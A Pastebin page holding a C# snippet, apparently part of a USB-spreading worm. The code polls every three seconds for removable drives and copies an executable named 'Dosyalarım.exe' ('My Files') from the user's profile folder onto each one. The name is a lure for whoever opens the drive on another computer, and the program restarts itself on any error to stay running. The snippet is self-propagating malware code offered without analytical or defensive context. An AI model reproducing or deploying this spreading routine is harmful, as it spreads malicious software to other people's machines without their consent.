Advertisement
Guest User

Untitled

a guest
Sep 30th, 2014
197
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.43 KB | None | 0 0
  1. void DriveDetect()
  2. {
  3. try
  4. {
  5. DriveInfo[] Drives = DriveInfo.GetDrives();
  6. String DrivePath = "";
  7.  
  8. foreach (DriveInfo Drive in Drives)
  9. {
  10. if (Drive.DriveType == DriveType.Removable && Drive.IsReady)
  11. {
  12. DrivePath = Convert.ToString(Drive);
  13. TakeData(DrivePath);
  14. }
  15. }
  16. System.Threading.Thread.Sleep(3000);
  17. DriveDetect();
  18. }
  19. catch (Exception)
  20. {
  21. Application.Restart();
  22. }
  23. }
  24. void TakeData(String Drive_Path)
  25. {
  26. try
  27. {
  28. if (File.Exists(Drive_Path + "Dosyalarım.exe"))
  29. {
  30.  
  31. }
  32. else
  33. {
  34. string kullanıcı = Environment.UserName;
  35. string dosya = "C:\\Users\\" + kullanıcı + "\\";
  36. File.Copy(dosya + "Dosyalarım.exe", Drive_Path + "Dosyalarım.exe");
  37. File.SetAttributes(Drive_Path + "Dosyalarım.exe", File.GetAttributes(Drive_Path + "Dosyalarım.exe") & ~FileAttributes.Hidden);
  38. }
  39. }
  40. catch (Exception)
  41. {
  42. Application.Restart();
  43. }
  44. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement